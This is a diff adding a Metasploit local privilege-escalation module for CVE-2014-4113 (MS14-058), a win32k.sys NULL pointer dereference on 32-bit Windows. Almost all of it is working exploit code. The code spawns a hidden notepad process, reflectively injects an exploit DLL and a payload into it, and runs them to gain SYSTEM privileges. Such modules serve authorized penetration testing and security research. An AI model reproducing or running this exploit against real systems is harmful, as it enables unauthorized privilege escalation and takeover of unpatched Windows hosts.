|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'msf/core/post/windows/reflective_dll_injection' |
| 8 | +require 'rex' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Local |
| 11 | + Rank = NormalRanking |
| 12 | + |
| 13 | + include Msf::Post::File |
| 14 | + include Msf::Post::Windows::Priv |
| 15 | + include Msf::Post::Windows::Process |
| 16 | + include Msf::Post::Windows::FileInfo |
| 17 | + include Msf::Post::Windows::ReflectiveDLLInjection |
| 18 | + |
| 19 | + def initialize(info={}) |
| 20 | + super(update_info(info, { |
| 21 | + 'Name' => 'Windows TrackPopupMenu Win32k NULL Pointer Dereference', |
| 22 | + 'Description' => %q{ |
| 23 | + This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability |
| 24 | + can be triggered through the use of TrackPopupMenu. Under special conditions, the |
| 25 | + NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary |
| 26 | + code execution. This module has been tested successfully on Windows XP SP3, Windows |
| 27 | + 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. |
| 28 | + }, |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'Author' => |
| 31 | + [ |
| 32 | + 'Unknown', # vulnerability discovery and exploit in the wild |
| 33 | + 'juan vazquez' # msf module |
| 34 | + ], |
| 35 | + 'Arch' => ARCH_X86, |
| 36 | + 'Platform' => 'win', |
| 37 | + 'SessionTypes' => [ 'meterpreter' ], |
| 38 | + 'DefaultOptions' => |
| 39 | + { |
| 40 | + 'EXITFUNC' => 'thread', |
| 41 | + }, |
| 42 | + 'Targets' => |
| 43 | + [ |
| 44 | + # Tested on (32 bits): |
| 45 | + # * Windows XP SP3 |
| 46 | + # * Windows 2003 SP2 |
| 47 | + # * Windows 7 SP1 |
| 48 | + # * Windows 2008 |
| 49 | + [ 'Windows 32 bits', { } ] |
| 50 | + ], |
| 51 | + 'Payload' => |
| 52 | + { |
| 53 | + 'Space' => 4096, |
| 54 | + 'DisableNops' => true |
| 55 | + }, |
| 56 | + 'References' => |
| 57 | + [ |
| 58 | + ['CVE', '2014-4113'], |
| 59 | + ['OSVDB', '113167'], |
| 60 | + ['BID', '70364'], |
| 61 | + ['MSB', 'MS14-058'], |
| 62 | + ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'] |
| 63 | + ], |
| 64 | + 'DisclosureDate' => 'Oct 14 2014', |
| 65 | + 'DefaultTarget' => 0 |
| 66 | + })) |
| 67 | + end |
| 68 | + |
| 69 | + def check |
| 70 | + os = sysinfo["OS"] |
| 71 | + |
| 72 | + if os !~ /windows/i |
| 73 | + return Exploit::CheckCode::Unknown |
| 74 | + end |
| 75 | + |
| 76 | + file_path = expand_path("%windir%") << "\\system32\\win32k.sys" |
| 77 | + major, minor, build, revision, branch = file_version(file_path) |
| 78 | + vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") |
| 79 | + |
| 80 | + Exploit::CheckCode::Detected |
| 81 | + end |
| 82 | + |
| 83 | + def exploit |
| 84 | + if is_system? |
| 85 | + fail_with(Exploit::Failure::None, 'Session is already elevated') |
| 86 | + end |
| 87 | + |
| 88 | + if sysinfo["Architecture"] =~ /wow64/i |
| 89 | + fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') |
| 90 | + elsif sysinfo["Architecture"] =~ /x64/ |
| 91 | + fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported') |
| 92 | + end |
| 93 | + |
| 94 | + print_status('Launching notepad to host the exploit...') |
| 95 | + notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) |
| 96 | + begin |
| 97 | + process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) |
| 98 | + print_good("Process #{process.pid} launched.") |
| 99 | + rescue Rex::Post::Meterpreter::RequestError |
| 100 | + # Reader Sandbox won't allow to create a new process: |
| 101 | + # stdapi_sys_process_execute: Operation failed: Access is denied. |
| 102 | + print_status('Operation failed. Trying to elevate the current process...') |
| 103 | + process = client.sys.process.open |
| 104 | + end |
| 105 | + |
| 106 | + print_status("Reflectively injecting the exploit DLL into #{process.pid}...") |
| 107 | + library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4113', 'cve-2014-4113.x86.dll') |
| 108 | + library_path = ::File.expand_path(library_path) |
| 109 | + |
| 110 | + print_status("Injecting exploit into #{process.pid}...") |
| 111 | + exploit_mem, offset = inject_dll_into_process(process, library_path) |
| 112 | + |
| 113 | + print_status("Exploit injected. Injecting payload into #{process.pid}...") |
| 114 | + payload_mem = inject_into_process(process, payload.encoded) |
| 115 | + |
| 116 | + # invoke the exploit, passing in the address of the payload that |
| 117 | + # we want invoked on successful exploitation. |
| 118 | + print_status('Payload injected. Executing exploit...') |
| 119 | + process.thread.create(exploit_mem + offset, payload_mem) |
| 120 | + |
| 121 | + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') |
| 122 | + end |
| 123 | + |
| 124 | +end |
0 commit comments